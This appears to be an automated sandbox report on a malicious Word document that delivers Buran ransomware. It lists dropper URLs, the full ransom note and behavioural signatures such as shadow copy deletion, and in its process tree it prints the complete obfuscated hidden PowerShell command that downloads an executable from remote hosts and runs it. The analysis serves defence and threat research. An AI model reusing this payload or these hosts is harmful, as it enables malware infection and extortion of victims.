Overview

overview

10

Static

static

8

Delivery-77426522.doc

windows7_x64

10

Delivery-77426522.doc

windows10_x64

10

Analysis

  • max time kernel
    103s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7v20201028
  • submitted
    04/11/2020, 11:34

Sharing

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Report Analysis Logs

General

  • Target
    Delivery-77426522.doc
  • Size 118KB
  • Sample201104-d43dfayxys
  • SHA256 0f81f4eb37083c821598ffd57cff12a082f19ca2de57c86faff65755ef332686
  • MD5 SHA1 SHA512
Score
10/10
buranevasionpersistenceransomwareupx

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://vidrioindustrial.com/
  • exe.dropper

    http://forcecareer.com/
  • exe.dropper

    http://onw.kx1.in/
  • exe.dropper

    http://hos365llc.com/
  • exe.dropper

    http://testwebsite.taxauctioninvestors.com/
  • exe.dropper

    http://shradhajewellers.com/
  • exe.dropper

    https://educationmillion.com/
  • exe.dropper

    http://geozone.at/

Extracted

Path

  • C:\!!! ALL YOUR FILES ARE ENCRYPTED !!!.TXT

  • buran

Ransom Note
  • !!! ALL YOUR FILES ARE ENCRYPTED !!! All your files, documents, photos, databases and other important files are encrypted. You are not able to decrypt it by yourself! The only method of recovering files is to purchase an unique private key. Only we can give you this key and only we can recover your files. To be sure we have the decryptor and it works you can send an email: [email protected] and decrypt one file for free. But this file should be of not valuable! Do you really want to restore your files? Write to email: [email protected] Reserved email: [email protected] Your personal ID: 7E7-686-D4D Attention! * Do not rename encrypted files. * Do not try to decrypt your data using third party software, it may cause permanent data loss. * Decryption of your files with the help of third parties may cause increased price (they add their fee to our) or you can become a victim of a scam.

Signatures

  • Buran

    Ransomware-as-a-service based on the VegaLocker family first identified in 2019.

    ransomwareburan
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomware
  • Blacklisted process makes network request 2 IoCs
  • Executes dropped EXE 5 IoCs
  • Sets file to hidden 1 TTPs

    Modifies file attributes to stop it showing in Explorer etc.

    evasion
  • UPX packed file 9 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Loads dropped DLL 5 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Enumerates connected drives 3 TTPs 24 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 1 IoCs
  • Modifies service 2 TTPs 4 IoCs
    persistence
  • Drops file in Program Files directory 15042 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Delays execution with timeout.exe 4 IoCs
    evasion
  • Interacts with shadow copies 2 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Kills process with taskkill 2 IoCs
    evasion
  • Modifies Internet Explorer settings 1 TTPs 9 IoCs
    adwarespyware
  • Modifies registry class 280 IoCs
  • Modifies system certificate store 2 TTPs 7 IoCs
    evasionspywaretrojan
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 90 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 128 IoCs
  • Views/modifies file attributes 1 TTPs 2 IoCs
    evasion

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Delivery-77426522.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1808
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1484
    • C:\Windows\system32\cmd.exe
      cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & POwersheLL -w hidden -ENCOD IAAkADQANwB6AHUAMwAgACAAPQAgACAAWwB0AHkAUABFAF0AKAAiAHsAMgB9AHsAMQB9AHsAMwB9AHsAMAB9ACIAIAAtAGYAIAAnAHQATwBSAHkAJwAsACcAZQBtAC4AaQBPAC4ARAAnACwAJwBzAHkAUwBUACcALAAnAGkAUgBFAEMAJwApACAAIAA7ACAAIAAgAHMARQB0ACAAIABOAGgAdABNACAAIAAoAFsAdABZAHAARQBdACgAIgB7ADQAfQB7ADIAfQB7ADUAfQB7ADkAfQB7ADcAfQB7ADEAfQB7ADAAfQB7ADYAfQB7ADgAfQB7ADMAfQAiACAALQBGACAAJwBlACcALAAnAHMAJwAsACcAZQAnACwAJwBOAEEAZwBlAFIAJwAsACcAcwBZAFMAdAAnACwAJwBtAC4AbgAnACwAJwBSAHYASQBDAEUAUABPAEkATgAnACwAJwBUAC4AJwAsACcAdABNAEEAJwAsACcARQAnACkAIAApACAAIAA7ACQAQgBmAG8AeABnAGEAMAA9ACgAJwBRACcAKwAoACcAdwBuAHkAOAAnACsAJwA4ADQAJwApACkAOwAkAFcAdwBwAHAANQA0AHgAPQAkAEIAYQAyAHIAZAA5ADgAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAEIAMQBoAGsAdgAyAG0AOwAkAFEAdABuAHkAbwBfAHcAPQAoACcATABpACcAKwAoACcAYwA4AHkAJwArACcAMQAnACkAKwAnAHkAJwApADsAIAAgACQANAA3AHoAVQAzADoAOgAiAGMAYABSAEUAQQBUAGAAZQBgAEQAaQByAGAARQBDAFQATwByAHkAIgAoACQASABPAE0ARQAgACsAIAAoACgAKAAnAHIAaQBHAFcAbwBpACcAKwAnADEAJwArACcAcwAnACsAJwBhACcAKQArACgAJwBvAHIAJwArACcAaQAnACkAKwAoACcARwAnACsAJwBNAGYAJwApACsAJwAzAG8AJwArACcAZwBoACcAKwAoACcAXwAnACsAJwByAGkARwAnACkAKQAuACIAUgBFAGAAUABsAEEAQwBFACIAKAAoAFsAQwBoAEEAUgBdADEAMQA0ACsAWwBDAGgAQQBSAF0AMQAwADUAKwBbAEMAaABBAFIAXQA3ADEAKQAsACcAXAAnACkAKQApADsAJABKAHkAbQBnAHIAcwA0AD0AKAAoACcARwAnACsAJwBrAHYAJwApACsAJwByADUAJwArACcAeQBwACcAKQA7ACAAKAAgAGcASQAgACAAVgBBAFIAaQBhAGIAbABlADoAbgBIAHQATQAgACkALgBWAEEATAB1AGUAOgA6ACIAcwBlAEMAVQBgAFIAaQBUAGAAeQBwAFIAYABPAFQAYABvAEMATwBsACIAIAA9ACAAKAAoACcAVABsACcAKwAnAHMAJwApACsAJwAxADIAJwApADsAJABIADEAYgBvAHUAZQAxAD0AKAAoACcASwAnACsAJwA3AGIANgAnACkAKwAoACcANgBfACcAKwAnAHIAJwApACkAOwAkAFgAegA0AHgANgBsAHgAIAA9ACAAKAAoACcAQgAnACsAJwB3ADkAJwApACsAKAAnADkAbwAnACsAJwBmACcAKQArACcAZwAnACkAOwAkAFQAaQBwAGUAbwBmAGIAPQAoACgAJwBVAGYAJwArACcAeAA5ACcAKQArACcAegAnACsAJwBrAGIAJwApADsAJABZAGoAMwB2AHEAOQBrAD0AKAAnAFYAJwArACgAJwBpAHAAaAAnACsAJwAxAHMAJwArACcAcwAnACkAKQA7ACQASgAzAGUAaABrAG0AbQA9ACQASABPAE0ARQArACgAKAAnAHsAMAB9AFcAbwBpACcAKwAnADEAcwBhAG8AewAwACcAKwAnAH0ATQBmADMAbwBnACcAKwAnAGgAXwAnACsAJwB7ADAAfQAnACkAIAAgAC0AZgAgACAAWwBjAGgAYQByAF0AOQAyACkAKwAkAFgAegA0AHgANgBsAHgAKwAoACcALgAnACsAKAAnAGUAJwArACcAeABlACcAKQApADsAJABPADgAeABsADEAdwB6AD0AKAAnAFYAJwArACgAJwBqACcAKwAnAGMAMQBtACcAKwAnAHQAeQAnACkAKQA7ACQARwB1ADMAdwByAHgAaQA9AG4ARQB3AC0ATwBCAGAAagBgAGUAQwBUACAATgBlAFQALgB3AGUAQgBjAEwASQBlAG4AVAA7ACQAWAA1ADMAeQBjAF8ANgA9ACgAKAAoACcAaAB0ACcAKwAnAHQAcAAnACkAKwAnADoAJwArACgAKAAnACkAKAAnACkAKQArACgAKAAnACkAVwAnACkAKQArACgAKAAnAE4AKQAnACsAJwAoACkAKAAnACkAKQArACcAKQAnACsAKAAoACcAVwAnACsAJwBOACkAJwApACkAKwAoACgAJwAoAHYAJwApACkAKwAoACcAaQBkACcAKwAnAHIAaQBvAGkAbgAnACkAKwAnAGQAJwArACcAdQAnACsAJwBzAHQAJwArACgAJwByACcAKwAnAGkAYQBsAC4AJwApACsAJwBjACcAKwAoACgAJwBvAG0AKQAnACsAJwAoACkAJwApACkAKwAoACgAJwBXACcAKwAnAE4AKQAnACkAKQArACcAKAAnACsAKAAnAGgANgBtAGsAZwAnACsAJwByAC4AJwApACsAKAAnAHIAJwArACcAYQByAEAAJwApACsAJwBoAHQAJwArACcAdAAnACsAKAAoACcAcAA6ACcAKwAnACkAKAApACcAKwAnAFcATgApACgAKQAoACcAKQApACsAKAAoACcAKQAnACsAJwBXAE4AKQAnACkAKQArACgAKAAnACgAZgAnACkAKQArACgAJwBvAHIAYwBlACcAKwAnAGMAJwArACcAYQAnACkAKwAoACcAcgAnACsAJwBlAGUAJwApACsAJwByAC4AJwArACcAYwBvACcAKwAnAG0AJwArACcAKQAnACsAKAAoACcAKAApAFcAJwArACcATgApACcAKQApACsAJwAoACcAKwAoACcAZQAnACsAJwBmAGYAJwApACsAKAAnAG8AOAAnACsAJwB5ACcAKQArACcAdQAnACsAKAAnAC4AcgAnACsAJwBhAHIAJwApACsAKAAnAEAAJwArACcAaAB0AHQAJwApACsAJwBwADoAJwArACgAKAAnACkAKAApAFcATgAnACsAJwApACcAKQApACsAKAAoACcAKAAnACsAJwApACgAKQBXAE4AJwArACcAKQAoAG8AJwArACcAbgAnACkAKQArACcAdwAuACcAKwAnAGsAJwArACcAeAAxACcAKwAnAC4AaQAnACsAKAAoACcAbgApACcAKQApACsAKAAoACcAKAApAFcAJwArACcATgApACcAKQApACsAKAAoACcAKABkAGEAJwArACcAdgA0ADMAYQA1ACcAKwAnAGsAcQAnACkAKQArACgAJwAuACcAKwAnAHIAYQByACcAKQArACcAQABoACcAKwAnAHQAJwArACcAdAAnACsAKAAoACcAcAA6ACkAJwArACcAKAAnACkAKQArACgAKAAnACkAVwAnACsAJwBOACkAKAAnACsAJwApACgAJwApACkAKwAoACgAJwApAFcATgAnACsAJwApACcAKQApACsAKAAoACcAKAAnACsAJwBoAG8AcwAzADYANQBsACcAKQApACsAKAAoACcAbAAnACsAJwBjAC4AYwBvAG0AKQAoACkAJwApACkAKwAnAFcATgAnACsAKAAoACcAKQAoACcAKQApACsAJwBoAGMAJwArACgAJwBpACcAKwAnADAAeABuACcAKQArACcAMAAnACsAKAAnAC4AegBpACcAKwAnAHAAQABoAHQAdAAnACkAKwAoACgAJwBwADoAKQAnACsAJwAoACkAVwAnACkAKQArACgAKAAnAE4AKQAnACkAKQArACgAKAAnACgAKQAnACsAJwAoACcAKQApACsAKAAoACcAKQBXACcAKQApACsAKAAoACcATgApACcAKQApACsAKAAoACcAKAB0ACcAKwAnAGUAcwB0ACcAKQApACsAKAAnAHcAJwArACcAZQBiACcAKQArACgAJwBzAGkAdABlACcAKwAnAC4AdABhACcAKwAnAHgAYQAnACsAJwB1AGMAJwApACsAKAAnAHQAaQAnACsAJwBvAG4AJwApACsAJwBpACcAKwAnAG4AdgAnACsAJwBlACcAKwAnAHMAJwArACgAJwB0AG8AcgAnACsAJwBzACcAKQArACgAKAAnAC4AYwAnACsAJwBvAG0AKQAoACkAJwArACcAVwBOACkAJwApACkAKwAoACgAJwAoAHgAJwArACcAdQBnACcAKQApACsAKAAnAGkAbgAnACsAJwAzACcAKQArACgAJwBxAHUALgB6AGkAJwArACcAcAAnACkAKwAnAEAAaAAnACsAKAAoACcAdAB0AHAAOgAnACsAJwApACgAKQAnACkAKQArACcAVwAnACsAKAAoACcATgApACgAKQAoACkAJwArACcAVwBOACcAKwAnACkAJwApACkAKwAoACgAJwAoAHMAJwArACcAaAByAGEAZABoAGEAJwApACkAKwAnAGoAJwArACgAJwBlACcAKwAnAHcAZQBsAGwAJwApACsAJwBlACcAKwAoACgAJwByAHMALgBjACcAKwAnAG8AbQApACcAKQApACsAKAAnACgAJwArACcAKQBXACcAKQArACgAKAAnAE4AKQAoACcAKwAnAHUAJwApACkAKwAoACcAMAAnACsAJwA1AGcAJwApACsAJwBxACcAKwAoACcAMQBqACcAKwAnAGoAJwApACsAKAAoACcALgByACcAKwAnAGEAcgBAAGgAdAB0AHAAcwA6ACcAKwAnACkAKAAnACkAKQArACgAKAAnACkAJwArACcAVwBOACkAJwApACkAKwAoACcAKAApACcAKwAnACgAKQAnACkAKwAnAFcATgAnACsAJwApACcAKwAoACgAJwAoAGUAZAB1AGMAYQB0ACcAKwAnAGkAJwApACkAKwAoACgAJwBvACcAKwAnAG4AbQBpAGwAbAAnACsAJwBpAG8AbgAuAGMAbwAnACsAJwBtACkAKAAnACsAJwApACcAKQApACsAKAAoACcAVwAnACsAJwBOACkAJwApACkAKwAoACgAJwAoAHkAOAAnACsAJwBoADAAMQB0ACcAKwAnAGcANQA3AC4AcABkACcAKQApACsAKAAoACcAZgBAACcAKwAnAGgAdAB0AHAAJwArACcAOgApACgAKQBXACcAKwAnAE4AKQAoACkAKAApAFcAJwArACcATgApACcAKQApACsAKAAoACcAKABnACcAKQApACsAJwBlAG8AJwArACgAKAAnAHoAbwBuACcAKwAnAGUALgAnACsAJwBhAHQAJwArACcAKQAoACcAKwAnACkAVwBOACcAKwAnACkAKABkAGUAegAnACkAKQArACgAJwBoACcAKwAnAGkAeQB6ACcAKQArACcAbQAnACsAKAAnAC4AegAnACsAJwBpAHAAJwApACkAKQAuACIAUgBgAGUAcABgAEwAYQBjAGUAIgAoACgAKAAoACgAJwApACgAJwApACkAKwAoACgAJwApAFcAJwApACkAKwAoACgAJwBOACcAKwAnACkAKAAnACkAKQApACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAC8AJwApACwAKAAnAHgAdwAnACsAJwBlACcAKQApAFsAMABdACkALgAiAHMAcABgAEwAaQB0ACIAKAAkAFAAMQBhAGYAbwB3AHkAIAArACAAJABXAHcAcABwADUANAB4ACAAKwAgACQAWQBnAGwAZgAxADYAYwApADsAJABRAHQAbwAzAHkAMQB0AD0AKAAnAFAAcwAnACsAKAAnADIAaAAnACsAJwA2AHUAOAAnACkAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQARgB6AHYAdQBkAHIAegAgAGkAbgAgACQAWAA1ADMAeQBjAF8ANgAgAHwAIABzAE8AcgB0AC0AYABPAEIASgBFAGAAYwBUACAAewBnAEUAdAAtAGAAUgBgAEEAbgBEAE8ATQB9ACkAewB0AHIAeQB7ACQARwB1ADMAdwByAHgAaQAuACIARABgAE8AdwBgAE4AbABvAGEARABmAEkAbABlACIAKAAkAEYAegB2AHUAZAByAHoALAAgACQASgAzAGUAaABrAG0AbQApADsAJABQAHkAdwBhAHMAbgAyAD0AKAAoACcARwAnACsAJwA0AG4AdAAnACkAKwAoACcAawAnACsAJwB0AHUAJwApACkAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQBJAHQAJwArACcAZQBtACcAKQAgACQASgAzAGUAaABrAG0AbQApAC4AIgBMAEUAYABOAGAAZwBUAGgAIgAgAC0AZwBlACAANAA5ADgAOAAxACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAoACgAJwB3AGkAJwArACcAbgAzADIAJwApACsAJwBfACcAKwAnAFAAJwArACgAJwByAG8AYwAnACsAJwBlACcAKQArACcAcwBzACcAKQApAC4AIgBjAFIAYABlAGAAQQBUAEUAIgAoACQASgAzAGUAaABrAG0AbQApADsAJABVAGQANQBlADcAZAA3AD0AKAAnAFIAJwArACgAJwB1ACcAKwAnADcANwByACcAKwAnADAAbwAnACkAKQA7AGIAcgBlAGEAawA7ACQAQQB1AGIAaQBiADQAagA9ACgAJwBMACcAKwAnAHQAJwArACgAJwA2ACcAKwAnAG4AXwBhAGIAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFQAXwBjAHIAYwBnADEAPQAoACgAJwBUACcAKwAnADUANQAnACkAKwAnADQANwAnACsAJwBjADMAJwApAA==
      1⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:308
      • C:\Windows\system32\msg.exe
        msg Admin /v Word experienced an error trying to open the file.
        2⤵
          PID:1060
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          POwersheLL -w hidden -ENCOD IAAkADQANwB6AHUAMwAgACAAPQAgACAAWwB0AHkAUABFAF0AKAAiAHsAMgB9AHsAMQB9AHsAMwB9AHsAMAB9ACIAIAAtAGYAIAAnAHQATwBSAHkAJwAsACcAZQBtAC4AaQBPAC4ARAAnACwAJwBzAHkAUwBUACcALAAnAGkAUgBFAEMAJwApACAAIAA7ACAAIAAgAHMARQB0ACAAIABOAGgAdABNACAAIAAoAFsAdABZAHAARQBdACgAIgB7ADQAfQB7ADIAfQB7ADUAfQB7ADkAfQB7ADcAfQB7ADEAfQB7ADAAfQB7ADYAfQB7ADgAfQB7ADMAfQAiACAALQBGACAAJwBlACcALAAnAHMAJwAsACcAZQAnACwAJwBOAEEAZwBlAFIAJwAsACcAcwBZAFMAdAAnACwAJwBtAC4AbgAnACwAJwBSAHYASQBDAEUAUABPAEkATgAnACwAJwBUAC4AJwAsACcAdABNAEEAJwAsACcARQAnACkAIAApACAAIAA7ACQAQgBmAG8AeABnAGEAMAA9ACgAJwBRACcAKwAoACcAdwBuAHkAOAAnACsAJwA4ADQAJwApACkAOwAkAFcAdwBwAHAANQA0AHgAPQAkAEIAYQAyAHIAZAA5ADgAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAEIAMQBoAGsAdgAyAG0AOwAkAFEAdABuAHkAbwBfAHcAPQAoACcATABpACcAKwAoACcAYwA4AHkAJwArACcAMQAnACkAKwAnAHkAJwApADsAIAAgACQANAA3AHoAVQAzADoAOgAiAGMAYABSAEUAQQBUAGAAZQBgAEQAaQByAGAARQBDAFQATwByAHkAIgAoACQASABPAE0ARQAgACsAIAAoACgAKAAnAHIAaQBHAFcAbwBpACcAKwAnADEAJwArACcAcwAnACsAJwBhACcAKQArACgAJwBvAHIAJwArACcAaQAnACkAKwAoACcARwAnACsAJwBNAGYAJwApACsAJwAzAG8AJwArACcAZwBoACcAKwAoACcAXwAnACsAJwByAGkARwAnACkAKQAuACIAUgBFAGAAUABsAEEAQwBFACIAKAAoAFsAQwBoAEEAUgBdADEAMQA0ACsAWwBDAGgAQQBSAF0AMQAwADUAKwBbAEMAaABBAFIAXQA3ADEAKQAsACcAXAAnACkAKQApADsAJABKAHkAbQBnAHIAcwA0AD0AKAAoACcARwAnACsAJwBrAHYAJwApACsAJwByADUAJwArACcAeQBwACcAKQA7ACAAKAAgAGcASQAgACAAVgBBAFIAaQBhAGIAbABlADoAbgBIAHQATQAgACkALgBWAEEATAB1AGUAOgA6ACIAcwBlAEMAVQBgAFIAaQBUAGAAeQBwAFIAYABPAFQAYABvAEMATwBsACIAIAA9ACAAKAAoACcAVABsACcAKwAnAHMAJwApACsAJwAxADIAJwApADsAJABIADEAYgBvAHUAZQAxAD0AKAAoACcASwAnACsAJwA3AGIANgAnACkAKwAoACcANgBfACcAKwAnAHIAJwApACkAOwAkAFgAegA0AHgANgBsAHgAIAA9ACAAKAAoACcAQgAnACsAJwB3ADkAJwApACsAKAAnADkAbwAnACsAJwBmACcAKQArACcAZwAnACkAOwAkAFQAaQBwAGUAbwBmAGIAPQAoACgAJwBVAGYAJwArACcAeAA5ACcAKQArACcAegAnACsAJwBrAGIAJwApADsAJABZAGoAMwB2AHEAOQBrAD0AKAAnAFYAJwArACgAJwBpAHAAaAAnACsAJwAxAHMAJwArACcAcwAnACkAKQA7ACQASgAzAGUAaABrAG0AbQA9ACQASABPAE0ARQArACgAKAAnAHsAMAB9AFcAbwBpACcAKwAnADEAcwBhAG8AewAwACcAKwAnAH0ATQBmADMAbwBnACcAKwAnAGgAXwAnACsAJwB7ADAAfQAnACkAIAAgAC0AZgAgACAAWwBjAGgAYQByAF0AOQAyACkAKwAkAFgAegA0AHgANgBsAHgAKwAoACcALgAnACsAKAAnAGUAJwArACcAeABlACcAKQApADsAJABPADgAeABsADEAdwB6AD0AKAAnAFYAJwArACgAJwBqACcAKwAnAGMAMQBtACcAKwAnAHQAeQAnACkAKQA7ACQARwB1ADMAdwByAHgAaQA9AG4ARQB3AC0ATwBCAGAAagBgAGUAQwBUACAATgBlAFQALgB3AGUAQgBjAEwASQBlAG4AVAA7ACQAWAA1ADMAeQBjAF8ANgA9ACgAKAAoACcAaAB0ACcAKwAnAHQAcAAnACkAKwAnADoAJwArACgAKAAnACkAKAAnACkAKQArACgAKAAnACkAVwAnACkAKQArACgAKAAnAE4AKQAnACsAJwAoACkAKAAnACkAKQArACcAKQAnACsAKAAoACcAVwAnACsAJwBOACkAJwApACkAKwAoACgAJwAoAHYAJwApACkAKwAoACcAaQBkACcAKwAnAHIAaQBvAGkAbgAnACkAKwAnAGQAJwArACcAdQAnACsAJwBzAHQAJwArACgAJwByACcAKwAnAGkAYQBsAC4AJwApACsAJwBjACcAKwAoACgAJwBvAG0AKQAnACsAJwAoACkAJwApACkAKwAoACgAJwBXACcAKwAnAE4AKQAnACkAKQArACcAKAAnACsAKAAnAGgANgBtAGsAZwAnACsAJwByAC4AJwApACsAKAAnAHIAJwArACcAYQByAEAAJwApACsAJwBoAHQAJwArACcAdAAnACsAKAAoACcAcAA6ACcAKwAnACkAKAApACcAKwAnAFcATgApACgAKQAoACcAKQApACsAKAAoACcAKQAnACsAJwBXAE4AKQAnACkAKQArACgAKAAnACgAZgAnACkAKQArACgAJwBvAHIAYwBlACcAKwAnAGMAJwArACcAYQAnACkAKwAoACcAcgAnACsAJwBlAGUAJwApACsAJwByAC4AJwArACcAYwBvACcAKwAnAG0AJwArACcAKQAnACsAKAAoACcAKAApAFcAJwArACcATgApACcAKQApACsAJwAoACcAKwAoACcAZQAnACsAJwBmAGYAJwApACsAKAAnAG8AOAAnACsAJwB5ACcAKQArACcAdQAnACsAKAAnAC4AcgAnACsAJwBhAHIAJwApACsAKAAnAEAAJwArACcAaAB0AHQAJwApACsAJwBwADoAJwArACgAKAAnACkAKAApAFcATgAnACsAJwApACcAKQApACsAKAAoACcAKAAnACsAJwApACgAKQBXAE4AJwArACcAKQAoAG8AJwArACcAbgAnACkAKQArACcAdwAuACcAKwAnAGsAJwArACcAeAAxACcAKwAnAC4AaQAnACsAKAAoACcAbgApACcAKQApACsAKAAoACcAKAApAFcAJwArACcATgApACcAKQApACsAKAAoACcAKABkAGEAJwArACcAdgA0ADMAYQA1ACcAKwAnAGsAcQAnACkAKQArACgAJwAuACcAKwAnAHIAYQByACcAKQArACcAQABoACcAKwAnAHQAJwArACcAdAAnACsAKAAoACcAcAA6ACkAJwArACcAKAAnACkAKQArACgAKAAnACkAVwAnACsAJwBOACkAKAAnACsAJwApACgAJwApACkAKwAoACgAJwApAFcATgAnACsAJwApACcAKQApACsAKAAoACcAKAAnACsAJwBoAG8AcwAzADYANQBsACcAKQApACsAKAAoACcAbAAnACsAJwBjAC4AYwBvAG0AKQAoACkAJwApACkAKwAnAFcATgAnACsAKAAoACcAKQAoACcAKQApACsAJwBoAGMAJwArACgAJwBpACcAKwAnADAAeABuACcAKQArACcAMAAnACsAKAAnAC4AegBpACcAKwAnAHAAQABoAHQAdAAnACkAKwAoACgAJwBwADoAKQAnACsAJwAoACkAVwAnACkAKQArACgAKAAnAE4AKQAnACkAKQArACgAKAAnACgAKQAnACsAJwAoACcAKQApACsAKAAoACcAKQBXACcAKQApACsAKAAoACcATgApACcAKQApACsAKAAoACcAKAB0ACcAKwAnAGUAcwB0ACcAKQApACsAKAAnAHcAJwArACcAZQBiACcAKQArACgAJwBzAGkAdABlACcAKwAnAC4AdABhACcAKwAnAHgAYQAnACsAJwB1AGMAJwApACsAKAAnAHQAaQAnACsAJwBvAG4AJwApACsAJwBpACcAKwAnAG4AdgAnACsAJwBlACcAKwAnAHMAJwArACgAJwB0AG8AcgAnACsAJwBzACcAKQArACgAKAAnAC4AYwAnACsAJwBvAG0AKQAoACkAJwArACcAVwBOACkAJwApACkAKwAoACgAJwAoAHgAJwArACcAdQBnACcAKQApACsAKAAnAGkAbgAnACsAJwAzACcAKQArACgAJwBxAHUALgB6AGkAJwArACcAcAAnACkAKwAnAEAAaAAnACsAKAAoACcAdAB0AHAAOgAnACsAJwApACgAKQAnACkAKQArACcAVwAnACsAKAAoACcATgApACgAKQAoACkAJwArACcAVwBOACcAKwAnACkAJwApACkAKwAoACgAJwAoAHMAJwArACcAaAByAGEAZABoAGEAJwApACkAKwAnAGoAJwArACgAJwBlACcAKwAnAHcAZQBsAGwAJwApACsAJwBlACcAKwAoACgAJwByAHMALgBjACcAKwAnAG8AbQApACcAKQApACsAKAAnACgAJwArACcAKQBXACcAKQArACgAKAAnAE4AKQAoACcAKwAnAHUAJwApACkAKwAoACcAMAAnACsAJwA1AGcAJwApACsAJwBxACcAKwAoACcAMQBqACcAKwAnAGoAJwApACsAKAAoACcALgByACcAKwAnAGEAcgBAAGgAdAB0AHAAcwA6ACcAKwAnACkAKAAnACkAKQArACgAKAAnACkAJwArACcAVwBOACkAJwApACkAKwAoACcAKAApACcAKwAnACgAKQAnACkAKwAnAFcATgAnACsAJwApACcAKwAoACgAJwAoAGUAZAB1AGMAYQB0ACcAKwAnAGkAJwApACkAKwAoACgAJwBvACcAKwAnAG4AbQBpAGwAbAAnACsAJwBpAG8AbgAuAGMAbwAnACsAJwBtACkAKAAnACsAJwApACcAKQApACsAKAAoACcAVwAnACsAJwBOACkAJwApACkAKwAoACgAJwAoAHkAOAAnACsAJwBoADAAMQB0ACcAKwAnAGcANQA3AC4AcABkACcAKQApACsAKAAoACcAZgBAACcAKwAnAGgAdAB0AHAAJwArACcAOgApACgAKQBXACcAKwAnAE4AKQAoACkAKAApAFcAJwArACcATgApACcAKQApACsAKAAoACcAKABnACcAKQApACsAJwBlAG8AJwArACgAKAAnAHoAbwBuACcAKwAnAGUALgAnACsAJwBhAHQAJwArACcAKQAoACcAKwAnACkAVwBOACcAKwAnACkAKABkAGUAegAnACkAKQArACgAJwBoACcAKwAnAGkAeQB6ACcAKQArACcAbQAnACsAKAAnAC4AegAnACsAJwBpAHAAJwApACkAKQAuACIAUgBgAGUAcABgAEwAYQBjAGUAIgAoACgAKAAoACgAJwApACgAJwApACkAKwAoACgAJwApAFcAJwApACkAKwAoACgAJwBOACcAKwAnACkAKAAnACkAKQApACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAC8AJwApACwAKAAnAHgAdwAnACsAJwBlACcAKQApAFsAMABdACkALgAiAHMAcABgAEwAaQB0ACIAKAAkAFAAMQBhAGYAbwB3AHkAIAArACAAJABXAHcAcABwADUANAB4ACAAKwAgACQAWQBnAGwAZgAxADYAYwApADsAJABRAHQAbwAzAHkAMQB0AD0AKAAnAFAAcwAnACsAKAAnADIAaAAnACsAJwA2AHUAOAAnACkAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQARgB6AHYAdQBkAHIAegAgAGkAbgAgACQAWAA1ADMAeQBjAF8ANgAgAHwAIABzAE8AcgB0AC0AYABPAEIASgBFAGAAYwBUACAAewBnAEUAdAAtAGAAUgBgAEEAbgBEAE8ATQB9ACkAewB0AHIAeQB7ACQARwB1ADMAdwByAHgAaQAuACIARABgAE8AdwBgAE4AbABvAGEARABmAEkAbABlACIAKAAkAEYAegB2AHUAZAByAHoALAAgACQASgAzAGUAaABrAG0AbQApADsAJABQAHkAdwBhAHMAbgAyAD0AKAAoACcARwAnACsAJwA0AG4AdAAnACkAKwAoACcAawAnACsAJwB0AHUAJwApACkAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQBJAHQAJwArACcAZQBtACcAKQAgACQASgAzAGUAaABrAG0AbQApAC4AIgBMAEUAYABOAGAAZwBUAGgAIgAgAC0AZwBlACAANAA5ADgAOAAxACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAoACgAJwB3AGkAJwArACcAbgAzADIAJwApACsAJwBfACcAKwAnAFAAJwArACgAJwByAG8AYwAnACsAJwBlACcAKQArACcAcwBzACcAKQApAC4AIgBjAFIAYABlAGAAQQBUAEUAIgAoACQASgAzAGUAaABrAG0AbQApADsAJABVAGQANQBlADcAZAA3AD0AKAAnAFIAJwArACgAJwB1ACcAKwAnADcANwByACcAKwAnADAAbwAnACkAKQA7AGIAcgBlAGEAawA7ACQAQQB1AGIAaQBiADQAagA9ACgAJwBMACcAKwAnAHQAJwArACgAJwA2ACcAKwAnAG4AXwBhAGIAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFQAXwBjAHIAYwBnADEAPQAoACgAJwBUACcAKwAnADUANQAnACkAKwAnADQANwAnACsAJwBjADMAJwApAA==
          2⤵
          • Blacklisted process makes network request
          • Drops file in System32 directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:700
      • C:\Users\Admin\Woi1sao\Mf3ogh_\Bw99ofg.exe
